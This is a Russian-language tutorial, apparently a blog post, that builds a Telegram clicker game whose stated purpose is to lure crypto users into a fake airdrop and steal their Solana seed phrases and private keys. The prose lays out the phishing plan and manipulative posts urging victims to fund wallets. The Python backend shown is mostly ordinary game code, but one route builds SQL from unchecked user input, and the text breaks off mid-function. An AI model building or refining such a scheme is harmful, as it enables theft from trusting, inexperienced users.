Вытягиваем кошельки из любителей телеграм тапалок

Man · Dec 5, 2024

Всем привет. В этой статье мы создадим довольно масштабный проект для сбора кошельков криптоэнтузиастов из Telegram. Почему? Всё очень просто: ФОМО (страх упустить прибыль) и желание заработать лёгкие деньги затягивают людей в различные кликеры и Telegram-приложения, которые обещают листинг или раздачу монет. Каждый хочет урвать кусок.

Все помнят эпоху «хомяка»? Мы с вами видели людей всех возрастов, зависающих в телефоне и тапающих хомяка. Разработчики тянули с листингом до последнего, продавали аудиторию и зарабатывали миллионы долларов на рекламе. После листинга команда просто забрасывала проект, уходя с прибылью. Думаете, люди остановились? Нет. Это желание перетекло в другие проекты и не угасает до сих пор.

Сегодня я хочу написать свою версию «тапалки». Это будет первый опенсорс-проект такого рода. На фрилансе подобных решений нет. У нас будет самая функциональная, качественная и многообещающая тапалка. Мы создадим бота, лендинг и продуманную игровую механику, чтобы предложить пользователю качественный продукт и завоевать доверие.

Как мы будем собирать кошельки?
Я использую самый простой способ, но вы можете предложить свои идеи для доработки. После того как пользователь подключит кошелёк Solana и нафармит условный баланс, появится окно с предложением аирдропа. Чтобы его получить, нужно будет залогиниться в кошелёк, введя сид-фразу или приватный ключ.

Почему такой простой и наивный метод может сработать? Вот несколько факторов:

Пользователь уже ощутил качество и функционал приложения. Согласитесь, приятно играть в красивой тапалке с множеством интерактивных элементов, а не в приложении с тремя кнопками.
После нескольких игровых сессий интерес и доверие к приложению возрастает. В конце концов, большая часть пользователей тапалок не разбирается в криптовалюте и просто не знает меры по защите своих кошельков.

Для подключения кошельков мы будем использовать Solana и популярный кошелёк Phantom. Кто-то может возразить, что Telegram Wallet более распространён, но в западной аудитории Phantom используется чаще, а на русскоязычную аудиторию мы не ориентируемся.

Также важную роль будет играть психология постов. В канале можно опубликовать инструкцию по получению аирдропа в удобной и понятной форме. В ней стоит рассказать, как создать кошелёк, пополнить баланс (например, на минимальные 10–20 долларов для оплаты комиссий) и выполнить другие шаги. Здесь в дело вступает магия слов: грамотно составленный текст может значительно повысить вовлечённость пользователей.

Помимо этого, мы добавим простой лендинг, напишем админку и запустим бота. Давайте переходить к разработке и рассмотрим функционал, который мы реализуем.

Перед этим, хочу перечислить, что будет входить в игру:

Кликер: Нажимайте на монетку $WHALE, чтобы зарабатывать токены.
Энергия: Ограничивает количество кликов. Восстанавливается автоматически со временем.
Улучшения: Используйте токены для приобретения улучшений, которые увеличивают количество токенов за клик, ускоряют восстановление энергии и добавляют автокликер.
Автокликер: Автоматически кликает и зарабатывает токены в течение заданного времени.
Реферальная система: Приглашайте друзей и получайте бонусы за их регистрацию. Можно просматривать список приглашённых друзей и их баланс.
Ежедневная награда: Заходите в игру каждый день, чтобы получать бонусные токены. Награда увеличивается с каждым днём на протяжении недели.
Ежедневная лотерея: Получайте шанс выиграть случайное количество токенов раз в день.
Таблица лидеров: Соревнуйтесь с другими игроками по количеству заработанных токенов. Отображаются топ-10 игроков и текущий ранг пользователя.
Подключение кошелька Solana: Возможность привязать кошелёк Phantom для получения аирдропа.
Награды за задания: Получайте бонусные токены за выполнение задач, таких как подписка на Telegram-канал, вступление в Discord, подписка на Twitter и буст канала.
Донаты: Вносите пожертвования и получайте за это внутриигровую валюту (оплата в stars).
Админ-панель: Интерфейс для администраторов с доступом к данным и настройкам игры.
Советы: Игра периодически отображает полезные подсказки для игроков.
Уведомления: Игра отправляет уведомления в Telegram о доступности ежедневной награды и лотереи.

Вот структура проекта:

Code:

|-- .env
|-- bot.py
|-- database.py
|-- templates
  |-- admin.html
  |-- admin_login.html
|-- static
  |-- admin_styles.css
  |-- index.html
  |-- login_styles.css
  |-- img
    |-- background2.jpg
    |-- coin.png
  |-- script
    |-- script.js
  |-- styles
    |-- styles.css
    |-- fonts
      |-- Aquire-BW0ox.otf
|-- website
  |-- index.html
  |-- img
    |-- background2.jpg
    |-- coin.png
    |-- game.jpg
    |-- solana.svg
  |-- fonts
    |-- Aquire-BW0ox.otf
  |-- script
    |-- script.js
  |-- styles
    |-- animations.css
    |-- bubble.css
    |-- components.css
    |-- fonts.css
    |-- footer.css
    |-- layout.css
    |-- reset.css
    |-- responsive.css
    |-- variables.css

Как вы можете заметить, весь функционал бота будет находиться в одном файле: bot.py. Не осуждайте — это не стартап-компания, где главная цель заключается в написании идеального кода. Мы будем работать так, как удобно.

Также для обработки событий и связи с бэкендом у нас будет всего один JavaScript-файл. Сайт и админ-панель будут реализованы отдельно.

Приступим к подготовке

Наш .env файл будет выглядеть так:

Code:

TELEGRAM_BOT_TOKEN=...

DB_NAME=...
DB_USER=...
DB_PASSWORD=...
DB_HOST=localhost
DB_PORT=5432

Ничего сверхъестественного: нам нужен токен бота и креды от баз данных.

Приступим к основному файлу: bot.py

Python:

import os
import random
from datetime import datetime, timedelta
from threading import Thread


from dotenv import load_dotenv
from flask import (
    Flask,
    request,
    jsonify,
    send_from_directory,
    render_template,
    url_for,
    redirect,
    session,
)
from flask_cors import CORS
from flask_httpauth import HTTPBasicAuth
import bcrypt
from apscheduler.schedulers.background import BackgroundScheduler
from telebot import TeleBot, types
from telebot.apihelper import get_chat, ApiException
from telebot.types import MenuButtonWebApp, WebAppInfo, LabeledPrice


from database import get_db


load_dotenv()


BOT_TOKEN = os.getenv("TELEGRAM_BOT_TOKEN")
bot = TeleBot(BOT_TOKEN)


app = Flask(
    __name__, static_folder="static", static_url_path="", template_folder="templates"
)

CORS(app)

auth = HTTPBasicAuth()

app.secret_key = os.urandom(24)



WEBHOOK_URL = "..."

Нужным нам импорты для работы, настройка веб хука. По желанию можете его также закинуть в .env

Python:

CLICK_REWARD = 1
REFERRAL_REWARD = 10000
MAX_ENERGY = 1000
DAILY_REWARD_BASE = 500
DAILY_REWARD_INCREASE = 500
DAILY_REWARD_DAYS = 7
LOTTERY_MIN = 500
LOTTERY_MAX = 5000
LOTTERY_THRESHOLD = 3000
LOTTERY_HIGH_PROBABILITY = 0.7


scheduler = BackgroundScheduler()
scheduler.start()

Стартовые настройки для каждого пользователя. С помощью улучшений можно будет прокачать награду за тап, энергию. Также у нас награды для лотереи, за приглашенного друга и бонус за ежедневный вход.

Python:

def main_menu_keyboard(user_id):
    keyboard = types.InlineKeyboardMarkup(row_width=1)
    keyboard.add(
        types.InlineKeyboardButton(
            text="🐳 Play $WHALE Clicker 🐳",
            web_app=types.WebAppInfo(url=f"{WEBHOOK_URL}/webapp?user_id={user_id}"),
        )
    )
    keyboard.add(
        types.InlineKeyboardButton(text="📜 Game Rules", callback_data="rules"),
        types.InlineKeyboardButton(
            text="📢 Subscribe to Channel", url="https://t.me/durov"
        ),
    )
    return keyboard




@bot.message_handler(commands=["start"])
def start(message):
    user_id = message.from_user.id
    first_name = message.from_user.first_name
    last_name = message.from_user.last_name or ""
    referrer_id = None


    if len(message.text.split()) > 1:
        try:
            referrer_id = int(message.text.split()[1])
        except ValueError:
            pass


    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute("SELECT id FROM users WHERE telegram_id = %s", (user_id,))
            existing_user = cur.fetchone()


            if not existing_user:
                cur.execute(
                    """
                    INSERT INTO users (telegram_id, balance, first_name, last_name, referrer_id, click_power, energy_restore_rate)
                    VALUES (%s, 0, %s, %s, %s, 1, 1)
                    RETURNING id
                    """,
                    (user_id, first_name, last_name, referrer_id),
                )
                new_user_id = cur.fetchone()[0]


                if referrer_id:
                    cur.execute(
                        """
                        UPDATE users
                        SET referral_count = referral_count + 1, balance = balance + 10000
                        WHERE telegram_id = %s
                        """,
                        (referrer_id,),
                    )


                welcome_message = "🐳 Welcome to $WHALE! 🐳\n\nYou've been successfully registered. Get ready to dive into a sea of opportunities!"
            else:
                cur.execute(
                    """
                    UPDATE users SET first_name = %s, last_name = %s
                    WHERE telegram_id = %s
                    """,
                    (first_name, last_name, user_id),
                )


            welcome_message = (
                "🐳 Welcome to $WHALE Clicker! 🐳\n\n"
                "Dive into an ocean of fun and rewards:\n\n"
                "🎮 Click to earn $WHALE tokens\n"
                "🚀 Upgrade your clicking power\n"
                "👥 Invite friends for bonuses\n"
                "🏆 Compete on the leaderboard\n\n"
                "Ready to make a splash? Click 'Play $WHALE Clicker' to begin your adventure!"
            )


            conn.commit()


        try:
            bot.send_message(
                message.chat.id,
                welcome_message,
                reply_markup=main_menu_keyboard(user_id),
                parse_mode="Markdown",
            )
        except ApiException:
            pass


        try:
            bot.set_chat_menu_button(
                chat_id=message.chat.id,
                menu_button=MenuButtonWebApp(
                    type="web_app",
                    text="Play $WHALE 🐳",
                    web_app=WebAppInfo(url=f"{WEBHOOK_URL}/webapp?user_id={user_id}"),
                ),
            )
        except ApiException:
            pass


    except Exception:
        try:
            bot.reply_to(message, "An error occurred. Please try again later.")
        except ApiException:
            pass
    finally:
        conn.close()

При старте игры пользователь получает главное меню с кнопками: "Play $WHALE Clicker" для запуска веб-приложения, "Game Rules" для изучения правил и "Subscribe to Channel" для подписки на канал. Новые пользователи автоматически регистрируются с балансом 0, базовыми характеристиками и возможностью указать реферера, который получает бонусы. Возвращающимся игрокам обновляют данные. Игрок видит приветственное сообщение с инструкциями и ссылками для начала игры.

Python:

@bot.callback_query_handler(func=lambda call: call.data == "rules")
def send_rules(call):
    bot.answer_callback_query(call.id)
    rules_text = (
        "📜 *$WHALE Clicker Rules* 📜\n\n"
        "1️⃣ *Click to Earn:* Tap the $WHALE coin to collect tokens.\n\n"
        "2️⃣ *Power Up:* Use your earnings to upgrade your clicking power.\n\n"
        "3️⃣ *Invite Friends:* Earn bonuses for each friend who joins.\n\n"
        "4️⃣ *Daily Rewards:* Log in daily for extra $WHALE tokens.\n\n"
        "5️⃣ *Complete Tasks:* Boost your earnings with special missions.\n\n"
        "6️⃣ *Leaderboard:* Compete with others for the top spot.\n\n"
        "🔔 *Stay Updated:* Subscribe to our channel for news and tips!\n\n"
        "Have fun and happy clicking! 🐳💰"
    )
    bot.edit_message_text(
        chat_id=call.message.chat.id,
        message_id=call.message.message_id,
        text=rules_text,
        reply_markup=main_menu_keyboard(call.message.chat.id),
        parse_mode="Markdown",
    )




@app.route("/quick_tip")
def get_quick_tip():
    tips = [
        "Click faster to earn more $WHALE!",
        "Don't forget to claim your daily reward!",
        "Upgrade your click power to earn tokens faster.",
        "Invite friends to earn referral bonuses!",
        "Check the leaderboard to see how you rank against others!",
        "Complete tasks to earn extra $WHALE tokens!",
        "The Auto-Clicker upgrade can help you earn while you're away!",
        "Energy regenerates over time - check back often!",
        "Try your luck with the daily lottery for bonus tokens!",
        "Boost our channel to earn a big reward!",
        "Higher click power means more $WHALE per click - keep upgrading!",
        "Stay consistent - daily clicks add up quickly over time!",
    ]
    return jsonify({"tip": random.choice(tips)})

При нажатии кнопки "Game Rules" пользователю отображаются правила игры: как зарабатывать токены кликами, улучшать мощность, приглашать друзей, получать ежедневные бонусы и участвовать в лидерборде. Вся информация представлена в удобном формате с кнопкой возврата в главное меню.

Секция /quick_tip предоставляет случайный совет для игроков, помогая улучшить стратегию: например, быстрее кликать, приглашать друзей, обновлять мощность кликов или участвовать в лотерее. Это повышает вовлеченность и стимулирует активное участие в игре.

Python:

@app.route("/")
@app.route("/webapp")
def webapp():
    return send_from_directory(app.static_folder, "index.html")




@app.route("/energy")
def get_energy():
    user_id = request.args.get("user_id")
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                "SELECT energy, energy_restore_rate, last_energy_update FROM users WHERE telegram_id = %s",
                (user_id,),
            )
            user = cur.fetchone()
            if user:
                energy, restore_rate, last_update = user
                current_time = datetime.now()
                time_diff = (current_time - last_update).total_seconds()
                energy_gained = min(restore_rate * time_diff / 60, MAX_ENERGY - energy)
                new_energy = min(energy + energy_gained, MAX_ENERGY)


                cur.execute(
                    "UPDATE users SET energy = %s, last_energy_update = %s WHERE telegram_id = %s",
                    (new_energy, current_time, user_id),
                )
                conn.commit()


                return jsonify({"energy": new_energy, "max_energy": MAX_ENERGY})
            else:
                return jsonify({"error": "User not found"}), 404
    finally:
        conn.close()




@app.route("/update_energy", methods=["POST"])
def update_energy():
    user_id = request.json.get("user_id")
    energy = request.json.get("energy")
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                "UPDATE users SET energy = LEAST(%s, %s), last_energy_update = %s WHERE telegram_id = %s",
                (energy, MAX_ENERGY, datetime.now(), user_id),
            )
            conn.commit()
        return jsonify({"success": True})
    finally:
        conn.close()




@app.route("/click", methods=["POST"])
def click_coin():
    user_id = request.json.get("user_id")
    clicks = request.json.get("clicks", 1)
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                "SELECT balance, energy, click_power FROM users WHERE telegram_id = %s",
                (user_id,),
            )
            user = cur.fetchone()
            if user:
                balance, energy, click_power = user
                clicks_processed = min(clicks, energy)
                new_balance = balance + (click_power * clicks_processed)
                new_energy = max(0, energy - clicks_processed)
                cur.execute(
                    "UPDATE users SET balance = %s, energy = %s WHERE telegram_id = %s",
                    (new_balance, new_energy, user_id),
                )
                conn.commit()
                return jsonify({"balance": new_balance, "energy": new_energy})
            else:
                return jsonify({"error": "User not found"}), 404
    finally:
        conn.close()

Маршрут /webapp отображает стартовую страницу игры. В /energy обновляется энергия пользователя в зависимости от времени с последнего обновления, с учетом максимального лимита энергии. В /update_energy энергия пользователя обновляется напрямую через POST-запрос. В маршруте /click обрабатываются клики: уменьшается энергия пользователя, а баланс увеличивается в зависимости от мощности клика и количества кликов, при этом учитывается остаток энергии.

Python:

@app.route("/upgrades")
def get_upgrades():
    user_id = request.args.get("user_id")
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                """
                SELECT upgrade_type, level FROM upgrades
                WHERE user_id = (SELECT id FROM users WHERE telegram_id = %s)
                """,
                (user_id,),
            )
            upgrades = dict(cur.fetchall())


            cur.execute(
                "SELECT click_power, energy_restore_rate, balance FROM users WHERE telegram_id = %s",
                (user_id,),
            )
            user_data = cur.fetchone()


            def calculate_cost(base_cost, level):
                return int(base_cost * (1.5**level))


            upgrade_info = {
                "double click power": {
                    "name": "Double Click Power",
                    "type": "double click power",
                    "description": "Double your clicking power",
                    "cost": calculate_cost(5000, upgrades.get("double click power", 0)),
                    "max_level": 5,
                    "effect": 2,
                    "level": upgrades.get("double click power", 0),
                },
                "auto-clicker": {
                    "name": "Auto-Clicker",
                    "type": "auto-clicker",
                    "description": "Automatically click once per second",
                    "cost": 200000,
                    "max_level": 1,
                    "effect": 1,
                    "level": upgrades.get("auto-clicker", 0),
                },
                "energy regeneration boost": {
                    "name": "Energy Regeneration Boost",
                    "type": "energy regeneration boost",
                    "description": "Increase energy regeneration rate by 50%",
                    "cost": calculate_cost(
                        30000, upgrades.get("energy regeneration boost", 0)
                    ),
                    "max_level": 3,
                    "effect": 1.5,
                    "level": upgrades.get("energy regeneration boost", 0),
                },
            }


            return jsonify(
                {
                    "upgrades": list(upgrade_info.values()),
                    "click_power": user_data[0],
                    "energy_restore_rate": user_data[1],
                    "balance": user_data[2],
                }
            )
    finally:
        conn.close()




@app.route("/claim_auto_clicker_reward", methods=["POST"])
def claim_auto_clicker_reward():
    user_id = request.json.get("user_id")
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                "SELECT auto_clicker_balance, auto_clicker_last_update FROM users WHERE telegram_id = %s",
                (user_id,),
            )
            current_balance, last_update = cur.fetchone()


            if last_update:
                time_passed = (datetime.now() - last_update).total_seconds()
                current_balance = min(current_balance + int(time_passed), 15000)


            cur.execute(
                """
                UPDATE users
                SET balance = balance + %s,
                    auto_clicker_balance = 0,
                    auto_clicker_last_update = NULL
                WHERE telegram_id = %s
                """,
                (current_balance, user_id),
            )
            conn.commit()


            return jsonify(
                {
                    "success": True,
                    "message": f"Auto-Clicker reward of {current_balance} $WHALE claimed successfully",
                    "claimed_amount": current_balance,
                }
            )
    finally:
        conn.close()

Код управляет апгрейдами и функцией авто-кликера. В маршруте /upgrades пользователю показываются доступные улучшения, такие как увеличение мощности кликов, авто-кликер и улучшение восстановления энергии, с расчетом стоимости и уровня каждого улучшения. Стоимость каждого апгрейда зависит от текущего уровня и увеличивается по формуле. В маршруте /claim_auto_clicker_reward пользователь может получить награду за авто-кликер, которая накапливается с течением времени, и добавляется к его балансу, при этом баланс авто-кликера сбрасывается.

Python:

@app.route("/update_upgrade", methods=["POST"])
def update_upgrade():
    user_id = request.json.get("user_id")
    upgrade_type = request.json.get("upgrade_type")


    if not upgrade_type:
        return jsonify({"success": False, "message": "No upgrade type provided"}), 400


    upgrade_type = upgrade_type.lower()


    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute("SELECT balance FROM users WHERE telegram_id = %s", (user_id,))
            user = cur.fetchone()
            if not user:
                return jsonify({"success": False, "message": "User not found"}), 404


            balance = user[0]


            base_upgrade_costs = {
                "double click power": 5000,
                "auto-clicker": 200000,
                "energy regeneration boost": 30000,
            }


            if upgrade_type not in base_upgrade_costs:
                return (
                    jsonify({"success": False, "message": "Invalid upgrade type"}),
                    400,
                )


            cur.execute(
                "SELECT level FROM upgrades WHERE user_id = (SELECT id FROM users WHERE telegram_id = %s) AND upgrade_type = %s",
                (user_id, upgrade_type),
            )
            current_level = cur.fetchone()
            current_level = current_level[0] if current_level else 0


            def calculate_cost(base_cost, level):
                return int(base_cost * (1.5**level))


            upgrade_cost = calculate_cost(
                base_upgrade_costs[upgrade_type], current_level
            )


            if balance < upgrade_cost:
                return (
                    jsonify({"success": False, "message": "Insufficient balance"}),
                    400,
                )


            max_levels = {
                "double click power": 5,
                "auto-clicker": 1,
                "energy regeneration boost": 3,
            }


            if current_level >= max_levels[upgrade_type]:
                return (
                    jsonify(
                        {
                            "success": False,
                            "message": f"Max level reached for {upgrade_type}",
                        }
                    ),
                    400,
                )


            cur.execute(
                """
                INSERT INTO upgrades (user_id, upgrade_type, level)
                VALUES ((SELECT id FROM users WHERE telegram_id = %s), %s, 1)
                ON CONFLICT (user_id, upgrade_type) DO UPDATE SET level = upgrades.level + 1
                RETURNING level
                """,
                (user_id, upgrade_type),
            )
            new_level = cur.fetchone()[0]


            cur.execute(
                "UPDATE users SET balance = balance - %s WHERE telegram_id = %s",
                (upgrade_cost, user_id),
            )


            if upgrade_type == "double click power":
                cur.execute(
                    "UPDATE users SET click_power = click_power * 2 WHERE telegram_id = %s",
                    (user_id,),
                )
            elif upgrade_type == "energy regeneration boost":
                cur.execute(
                    "UPDATE users SET energy_restore_rate = energy_restore_rate * 1.5 WHERE telegram_id = %s",
                    (user_id,),
                )


            conn.commit()
        return jsonify({"success": True, "new_level": new_level, "cost": upgrade_cost})
    except Exception as e:
        return jsonify({"success": False, "message": "Server error"}), 500
    finally:
        conn.close()




@app.route("/balance")
def get_balance():
    user_id = request.args.get("user_id")
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute("SELECT balance FROM users WHERE telegram_id = %s", (user_id,))
            user = cur.fetchone()
            if user:
                return jsonify({"balance": user[0]})
            else:
                return jsonify({"error": "User not found"}), 404
    finally:
        conn.close()

Код обрабатывает запросы на обновление апгрейдов и получение баланса пользователя. В маршруте /update_upgrade пользователю предоставляется возможность улучшить свои апгрейды, такие как увеличение мощности кликов, авто-кликер и улучшение восстановления энергии, при этом для каждого улучшения вычисляется стоимость в зависимости от уровня. Если у пользователя недостаточно средств или достигнут максимальный уровень, возвращается ошибка. После успешного апгрейда обновляется баланс пользователя и соответствующие характеристики (например, мощность кликов или скорость восстановления энергии). В маршруте /balance возвращается текущий баланс пользователя по его идентификатору.

Python:

@app.route("/referral_link")
def get_referral_link():
    user_id = request.args.get("user_id")
    link = f"https://t.me/{bot.get_me().username}?start={user_id}"
    return jsonify({"link": link})




@app.route("/referral_info")
def get_referral_info():
    user_id = request.args.get("user_id")
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                """
                SELECT referral_count FROM users WHERE telegram_id = %s
                """,
                (user_id,),
            )
            referral_count = cur.fetchone()[0]


            cur.execute(
                """
                SELECT first_name, last_name, balance
                FROM users
                WHERE referrer_id = %s
                """,
                (user_id,),
            )
            referred_friends = [
                {"name": f"{friend[0]} {friend[1]}".strip(), "balance": friend[2]}
                for friend in cur.fetchall()
            ]


        return jsonify(
            {"referral_count": referral_count, "referred_friends": referred_friends}
        )
    finally:
        conn.close()

Код управляет запросами, связанными с реферальной системой. В маршруте /referral_link генерируется уникальная ссылка для каждого пользователя, которая может быть использована для приглашения новых участников в игру. Ссылка включает в себя идентификатор пользователя и позволяет отслеживать, кто пригласил нового игрока. В маршруте /referral_info извлекается информация о количестве приглашенных друзей и их балансе. Пользователь получает список своих рефералов с их именами и балансами, а также количество рефералов, которых он пригласил. Вот так просто, rand, реализуется такой функционал

Python:

@app.route("/daily_reward")
def get_daily_reward_info():
    user_id = request.args.get("user_id")
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                "SELECT current_day, last_claim, cycle_start FROM daily_rewards WHERE telegram_id = %s",
                (user_id,),
            )
            reward_info = cur.fetchone()
            now = datetime.now()


            if not reward_info:
                cycle_start = now.date()
                cur.execute(
                    "INSERT INTO daily_rewards (telegram_id, current_day, last_claim, cycle_start) VALUES (%s, 1, NULL, %s)",
                    (user_id, cycle_start),
                )
                conn.commit()
                current_day = 1
                claimed = False
            else:
                current_day, last_claim, cycle_start = reward_info


                if cycle_start is None:
                    cycle_start = now.date()
                    cur.execute(
                        "UPDATE daily_rewards SET cycle_start = %s WHERE telegram_id = %s",
                        (cycle_start, user_id),
                    )
                    conn.commit()


                days_since_start = (now.date() - cycle_start).days


                if days_since_start >= DAILY_REWARD_DAYS:
                    current_day = 1
                    cycle_start = now.date()
                    cur.execute(
                        "UPDATE daily_rewards SET current_day = 1, last_claim = NULL, cycle_start = %s WHERE telegram_id = %s",
                        (cycle_start, user_id),
                    )
                    conn.commit()
                elif last_claim and last_claim.date() < now.date():
                    current_day = min(current_day + 1, DAILY_REWARD_DAYS)


                claimed = last_claim and last_claim.date() == now.date()


            reward_amount = (
                DAILY_REWARD_BASE + (current_day - 1) * DAILY_REWARD_INCREASE
            )
            next_reset = (cycle_start + timedelta(days=DAILY_REWARD_DAYS)).isoformat()


            return jsonify(
                {
                    "current_day": current_day,
                    "reward_amount": reward_amount,
                    "claimed": claimed,
                    "next_reset": next_reset,
                }
            )
    except Exception as e:
        return jsonify({"error": "An error occurred while processing the request"}), 500
    finally:
        conn.close()




@app.route("/claim_daily_reward", methods=["POST"])
def claim_daily_reward():
    user_id = request.json.get("user_id")
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                "SELECT current_day, last_claim FROM daily_rewards WHERE telegram_id = %s",
                (user_id,),
            )
            reward_info = cur.fetchone()
            if not reward_info:
                return jsonify({"success": False, "message": "User not found"}), 404


            current_day, last_claim = reward_info
            if last_claim and last_claim.date() == datetime.now().date():
                return (
                    jsonify(
                        {"success": False, "message": "Daily reward already claimed"}
                    ),
                    400,
                )


            reward_amount = (
                DAILY_REWARD_BASE + (current_day - 1) * DAILY_REWARD_INCREASE
            )
            new_day = current_day + 1 if current_day < DAILY_REWARD_DAYS else 1


            cur.execute(
                "UPDATE daily_rewards SET current_day = %s, last_claim = %s WHERE telegram_id = %s",
                (new_day, datetime.now(), user_id),
            )
            cur.execute(
                "UPDATE users SET balance = balance + %s WHERE telegram_id = %s",
                (reward_amount, user_id),
            )
            conn.commit()


            return jsonify({"success": True, "reward_amount": reward_amount})
    finally:
        conn.close()




@app.route("/daily_lottery")
def get_daily_lottery_info():
    user_id = request.args.get("user_id")
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                "SELECT last_claim, next_claim FROM lottery_claims WHERE telegram_id = %s",
                (user_id,),
            )
            lottery_info = cur.fetchone()
            if not lottery_info:
                next_claim = datetime.now()
                cur.execute(
                    "INSERT INTO lottery_claims (telegram_id, last_claim, next_claim) VALUES (%s, NULL, %s)",
                    (user_id, next_claim),
                )
                conn.commit()
                claimed = False
            else:
                last_claim, next_claim = lottery_info
                claimed = last_claim and datetime.now() < next_claim


            return jsonify(
                {
                    "can_claim": not claimed,
                    "next_claim": next_claim.isoformat() if claimed else None,
                }
            )
    finally:
        conn.close()




@app.route("/claim_daily_lottery", methods=["POST"])
def claim_daily_lottery():
    user_id = request.json.get("user_id")
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                "SELECT last_claim, next_claim FROM lottery_claims WHERE telegram_id = %s",
                (user_id,),
            )
            lottery_info = cur.fetchone()
            if not lottery_info:
                return jsonify({"success": False, "message": "User not found"}), 404


            last_claim, next_claim = lottery_info
            if last_claim and datetime.now() < next_claim:
                return (
                    jsonify({"success": False, "message": "Lottery not available yet"}),
                    400,
                )


            if random.random() < LOTTERY_HIGH_PROBABILITY:
                amount = random.randint(LOTTERY_MIN, LOTTERY_THRESHOLD)
            else:
                amount = random.randint(LOTTERY_THRESHOLD + 1, LOTTERY_MAX)


            new_next_claim = datetime.now() + timedelta(days=1)


            cur.execute(
                "UPDATE lottery_claims SET last_claim = %s, next_claim = %s WHERE telegram_id = %s",
                (datetime.now(), new_next_claim, user_id),
            )
            cur.execute(
                "UPDATE users SET balance = balance + %s WHERE telegram_id = %s",
                (amount, user_id),
            )
            conn.commit()


            return jsonify(
                {
                    "success": True,
                    "amount": amount,
                    "next_claim": new_next_claim.isoformat(),
                }
            )
    finally:
        conn.close()

Код управляет системой ежедневных наград и лотерей. В маршруте /daily_reward предоставляется информация о текущем дне в цикле ежедневных наград, а также расчет суммы вознаграждения, которая увеличивается с каждым днем. В маршруте /claim_daily_reward осуществляется заявка на ежедневную награду: если награда еще не была получена в текущий день, она начисляется на баланс пользователя и обновляется день цикла. В маршруте /daily_lottery предоставляется информация о возможности участия в ежедневной лотерее и времени следующего участия. В /claim_daily_lottery происходит обработка выигрыша лотереи: если пользователь может участвовать, ему начисляется случайная сумма, а время следующего участия обновляется.

Python:

def auto_click(user_id):
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                "SELECT click_power FROM users WHERE telegram_id = %s", (user_id,)
            )
            click_power = cur.fetchone()[0]
            cur.execute(
                "UPDATE users SET balance = balance + %s WHERE telegram_id = %s",
                (50000, user_id),
            )
            conn.commit()
    finally:
        conn.close()




@app.route("/activate_auto_clicker", methods=["POST"])
def activate_auto_clicker():
    user_id = request.json.get("user_id")
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                """
                SELECT auto_clicker_balance
                FROM users
                WHERE telegram_id = %s
                """,
                (user_id,),
            )
            current_balance = cur.fetchone()[0]


            if current_balance > 0:
                return (
                    jsonify(
                        {
                            "success": False,
                            "message": "Auto-clicker is already active or has a balance",
                        }
                    ),
                    400,
                )


            cur.execute(
                """
                UPDATE users
                SET auto_clicker_balance = 0,
                    auto_clicker_last_update = %s
                WHERE telegram_id = %s
                """,
                (datetime.now(), user_id),
            )
            conn.commit()


    finally:
        conn.close()


    job_id = f"auto_clicker_{user_id}"


    if scheduler.get_job(job_id):
        scheduler.remove_job(job_id)


    scheduler.add_job(
        update_auto_clicker_balance, "interval", minutes=1, args=[user_id], id=job_id
    )


    scheduler.add_job(
        lambda: scheduler.remove_job(job_id),
        "date",
        run_date=datetime.now() + timedelta(hours=3),
    )


    return jsonify({"success": True, "message": "Auto-clicker activated"})




def update_auto_clicker_balance(user_id):
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                """
                UPDATE users
                SET auto_clicker_balance = LEAST(auto_clicker_balance +
                    EXTRACT(EPOCH FROM (NOW() - auto_clicker_last_update))::INTEGER, 15000),
                    auto_clicker_last_update = NOW()
                WHERE telegram_id = %s
                RETURNING auto_clicker_balance
                """,
                (user_id,),
            )
            balance = cur.fetchone()[0]
            conn.commit()


            if balance >= 15000:
                scheduler.remove_job(f"auto_clicker_{user_id}")
                send_telegram_notification(
                    user_id,
                    "🤖 Your Auto-Clicker has finished! You can now claim your reward.",
                )
    finally:
        conn.close()




@app.route("/get_auto_clicker_balance", methods=["GET"])
def get_auto_clicker_balance():
    user_id = request.args.get("user_id")
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                """
                SELECT auto_clicker_balance, auto_clicker_last_update
                FROM users
                WHERE telegram_id = %s
                """,
                (user_id,),
            )
            result = cur.fetchone()
            if result:
                balance, last_update = result
                if last_update:
                    time_passed = (datetime.now() - last_update).total_seconds()
                    balance = min(balance + int(time_passed), 15000)


                    cur.execute(
                        """
                        UPDATE users
                        SET auto_clicker_balance = %s,
                            auto_clicker_last_update = NOW()
                        WHERE telegram_id = %s
                        """,
                        (balance, user_id),
                    )
                    conn.commit()


                return jsonify({"success": True, "balance": balance})
            else:
                return jsonify({"success": False, "message": "User not found"}), 404
    finally:
        conn.close()

Код управляет функциональностью автоматического кликера в приложении. В функции auto_click происходит увеличение баланса пользователя на 50,000, в то время как activate_auto_clicker активирует автоматический кликер. Если баланс кликера уже не равен нулю, то кликер не может быть активирован повторно. После активации начинается процесс обновления баланса кликера с интервалом в 1 минуту через планировщик задач. В update_auto_clicker_balance проверяется, достиг ли баланс максимального значения (15,000), и если это так, отправляется уведомление в Telegram. В маршруте /get_auto_clicker_balance предоставляется информация о текущем балансе автоматического кликера, которая обновляется в зависимости от времени, прошедшего с последнего обновления.

Python:

app.route("/claim_social_reward", methods=["POST"])
def claim_social_reward():
    user_id = request.json.get("user_id")
    task_type = request.json.get("task_type")


    if not user_id or not task_type:
        return (
            jsonify(
                {"success": False, "message": "User ID and task type are required."}
            ),
            400,
        )


    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                f"SELECT {task_type}_rewarded FROM users WHERE telegram_id = %s",
                (user_id,),
            )
            user = cur.fetchone()


            if not user:
                return jsonify({"success": False, "message": "User not found."}), 404

